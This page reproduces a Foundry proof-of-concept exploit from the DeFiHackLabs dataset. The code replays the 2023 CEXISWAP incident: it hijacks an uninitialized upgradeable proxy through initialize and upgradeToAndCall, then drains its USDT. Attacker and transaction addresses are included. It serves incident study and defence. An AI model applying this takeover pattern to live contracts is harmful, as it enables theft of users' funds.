Public reproduction file

src/test/2023-09/CEXISWAP_exp.sol

Public reproduction file for dataset entry CEXISWAP.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-09/CEXISWAP_exp.sol76 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~30K USD$
8// Attacker : https://etherscan.io/address/0x060c169c4517d52c4be9a1dd53e41a3328d16f04
9// Attack Contract : https://etherscan.io/address/0x8c425ee62d18b65cc975767c27c42de548d133a1
10// Vulnerable Contract : https://etherscan.io/address/0xb8a5890d53df78dee6182a6c0968696e827e3305
11// Attack Tx : https://etherscan.io/tx/0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e
12 
13// @Analysis
14// https://twitter.com/DecurityHQ/status/1704759560614126030
15 
16interface ICEXISWAP {
17    function initialize(
18        string memory name,
19        string memory ticker,
20        address _treasuryWallet,
21        address _communityWallet,
22        address _admin,
23        address _strategy
24    ) external;
25 
26    function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
27}
28 
29contract CexiTest is Test {
30    ICEXISWAP private constant CEXISWAP = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);
31    IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
32    Exploiter private exploiter;
33 
34    function setUp() public {
35        vm.createSelectFork("mainnet", 18_182_605);
36        vm.label(address(CEXISWAP), "CEXISWAP");
37        vm.label(address(USDT), "USDT");
38    }
39 
40    function testExploit() public {
41        exploiter = new Exploiter();
42        exploiter.exploit();
43        emit log_named_decimal_uint("Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 6);
44    }
45}
46 
47contract Exploiter {
48    ICEXISWAP private constant CEXISWAP = ICEXISWAP(0xB8a5890D53dF78dEE6182A6C0968696e827E3305);
49    IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
50    bytes32 private constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
51    address private immutable owner;
52 
53    constructor() {
54        owner = msg.sender;
55    }
56 
57    function exploit() external {
58        CEXISWAP.initialize("HAX", "HAX", address(this), address(this), address(this), address(this));
59        CEXISWAP.upgradeToAndCall(address(this), abi.encodePacked(this.exploit2.selector));
60    }
61 
62    // function 0x1de24bbf
63    function exploit2() external {
64        // delegatecall
65        USDT.transfer(owner, USDT.balanceOf(address(this)));
66    }
67 
68    function upgradeTo(
69        address newImplementation
70    ) external {
71        bytes32 slot = IMPLEMENTATION_SLOT;
72        assembly {
73            sstore(slot, newImplementation)
74        }
75    }
76}

Analysis

Dataset entry

Public Foundry test for “CEXISWAP” (2023-09-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-09/0x0DEX_exp.solSame month in the dataset · 269 lines
src/test/2023-09/APIG_exp.solSame month in the dataset · 105 lines
src/test/2023-09/BFCToken_exp.solSame month in the dataset · 109 lines
src/test/2023-09/DAppSocial_exp.solSame month in the dataset · 109 lines
src/test/2023-09/DEXRouter_exp.solSame month in the dataset · 55 lines
src/test/2023-09/FireBirdPair_exp.solSame month in the dataset · 141 lines
src/test/2023-09/FloorDAO_exp.solSame month in the dataset · 83 lines
src/test/2023-09/HCT_exp.solSame month in the dataset · 105 lines
src/test/2023-09/HeavensGate_exp.solSame month in the dataset · 97 lines
src/test/2023-09/JumpFarm_exp.solSame month in the dataset · 83 lines
src/test/2023-09/Kub_Split_exp.solSame month in the dataset · 226 lines
src/test/2023-09/QuantumWN_exp.solSame month in the dataset · 73 lines
src/test/2023-09/uniclyNFT_exp.solSame month in the dataset · 126 lines
src/test/2023-09/XSDWETHpool_exp.solSame month in the dataset · 123 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x060c169c4517d52c4be9a1dd53e41a3328d16f04
Attack Contract
0x8c425ee62d18b65cc975767c27c42de548d133a1
Vulnerable Contract
0xb8a5890d53df78dee6182a6c0968696e827e3305

Attack Tx
0xede72a74d8398875b42d92c550539d72c830d3c3271a7641ee1843dc105de59e

File record

Name: CEXISWAP
Path: src/test/2023-09/CEXISWAP_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 1194f2812ea40dcc9499bcf06f114b06e112f81b
Language: Solidity
Size: 77 lines
Date: 2023-09-21
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-09/CEXISWAP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1194f2812ea40dcc9499bcf06f114b06e112f81b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.